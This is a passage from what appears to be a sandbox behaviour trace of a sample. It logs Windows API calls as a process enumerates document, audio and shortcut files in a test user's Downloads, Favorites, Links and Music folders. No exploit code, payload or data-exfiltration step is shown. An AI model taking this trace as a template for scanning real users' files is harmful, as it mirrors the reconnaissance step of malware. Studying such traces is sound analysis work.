ftLastAccessTime.dwLowDateTime=0x6c3e2d80, ftLastAccessTime.dwHighDateTime=0x1d55d87, ftLastWriteTime.dwLowDateTime=0x6c3e2d80, ftLastWriteTime.dwHighDateTime=0x1d55d87, nFileSizeHigh=0x0, nFileSizeLow=0x8db7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YGNPjCOP5wuk0HfgUA.pptx", cAlternateFileName="YGNPJC~1.PPT")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd675ab10, ftCreationTime.dwHighDateTime=0x1d567cd, ftLastAccessTime.dwLowDateTime=0xf6512ba0, ftLastAccessTime.dwHighDateTime=0x1d56253, ftLastWriteTime.dwLowDateTime=0xf6512ba0, ftLastWriteTime.dwHighDateTime=0x1d56253, nFileSizeHigh=0x0, nFileSizeLow=0x186ca, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yN55FwTZal7Q-RaoZS.docx", cAlternateFileName="YN55FW~1.DOC")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21021050, ftCreationTime.dwHighDateTime=0x1d58caa, ftLastAccessTime.dwLowDateTime=0xeb3364b0, ftLastAccessTime.dwHighDateTime=0x1d5b94a, ftLastWriteTime.dwLowDateTime=0xeb3364b0, ftLastWriteTime.dwHighDateTime=0x1d5b94a, nFileSizeHigh=0x0, nFileSizeLow=0xaeeb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="yoGnGFbTSP8JpoNMxcWx.docx", cAlternateFileName="YOGNGF~1.DOC")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b12fc0, ftCreationTime.dwHighDateTime=0x1d5dbfc, ftLastAccessTime.dwLowDateTime=0xe03d9c70, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0xe03d9c70, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x13adc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YX5oTaLr46sR87w.ppt", cAlternateFileName="YX5OTA~1.PPT")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b12fc0, ftCreationTime.dwHighDateTime=0x1d5dbfc, ftLastAccessTime.dwLowDateTime=0xe03d9c70, ftLastAccessTime.dwHighDateTime=0x1d5e531, ftLastWriteTime.dwLowDateTime=0xe03d9c70, ftLastWriteTime.dwHighDateTime=0x1d5e531, nFileSizeHigh=0x0, nFileSizeLow=0x13adc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="YX5oTaLr46sR87w.ppt", cAlternateFileName="YX5OTA~1.PPT")) returned 0 [0124.376] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.376] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.376] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.376] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0124.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.376] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.376] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.376] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.376] PathFindFileNameW (pszPath="") returned="" [0124.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.376] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0124.377] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.377] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.377] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.377] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.377] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.377] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.377] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.377] PathFindFileNameW (pszPath="") returned="" [0124.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.377] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed2b8 | out: hHeap=0x810000) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Links", cAlternateFileName="")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0124.377] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0124.377] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.377] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.378] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.378] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0124.378] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.378] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.378] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.378] PathFindFileNameW (pszPath="") returned="" [0124.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0124.378] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34880f0 | out: hHeap=0x810000) returned 1 [0124.378] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.378] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0124.378] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.378] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.378] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.378] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.378] PathFindFileNameW (pszPath="") returned="" [0124.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed4c0 | out: hHeap=0x810000) returned 1 [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed3f0 | out: hHeap=0x810000) returned 1 [0124.379] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0124.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.379] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.379] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.379] PathFindFileNameW (pszPath="") returned="" [0124.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8eb7e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8eb7e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.379] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3488148 | out: hHeap=0x810000) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8eb7e00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8eb7e00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67dbcb00, ftCreationTime.dwHighDateTime=0x1d5d8dc, ftLastAccessTime.dwLowDateTime=0xf54f9d30, ftLastAccessTime.dwHighDateTime=0x1d5e544, ftLastWriteTime.dwLowDateTime=0xf54f9d30, ftLastWriteTime.dwHighDateTime=0x1d5e544, nFileSizeHigh=0x0, nFileSizeLow=0x15a9d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2BR1Eq.wav", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e1f550, ftCreationTime.dwHighDateTime=0x1d5df75, ftLastAccessTime.dwLowDateTime=0x5a012150, ftLastAccessTime.dwHighDateTime=0x1d5de6e, ftLastWriteTime.dwLowDateTime=0x5a012150, ftLastWriteTime.dwHighDateTime=0x1d5de6e, nFileSizeHigh=0x0, nFileSizeLow=0xa7f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6zmni1gT8J47.wav", cAlternateFileName="6ZMNI1~1.WAV")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c3fc00, ftCreationTime.dwHighDateTime=0x1d5db51, ftLastAccessTime.dwLowDateTime=0x850fbeb0, ftLastAccessTime.dwHighDateTime=0x1d5e26a, ftLastWriteTime.dwLowDateTime=0x850fbeb0, ftLastWriteTime.dwHighDateTime=0x1d5e26a, nFileSizeHigh=0x0, nFileSizeLow=0xc3c7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8LMATf9HzFQ.mp3", cAlternateFileName="8LMATF~1.MP3")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1103b70, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x62d214c0, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x62d214c0, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fqXOARG", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38953bc0, ftCreationTime.dwHighDateTime=0x1d5dca0, ftLastAccessTime.dwLowDateTime=0x8455ec70, ftLastAccessTime.dwHighDateTime=0x1d5e39a, ftLastWriteTime.dwLowDateTime=0x8455ec70, ftLastWriteTime.dwHighDateTime=0x1d5e39a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FtYbuj0", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf44f740, ftCreationTime.dwHighDateTime=0x1d5e06c, ftLastAccessTime.dwLowDateTime=0x35738480, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x35738480, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="hmNSQ", cAlternateFileName="")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, 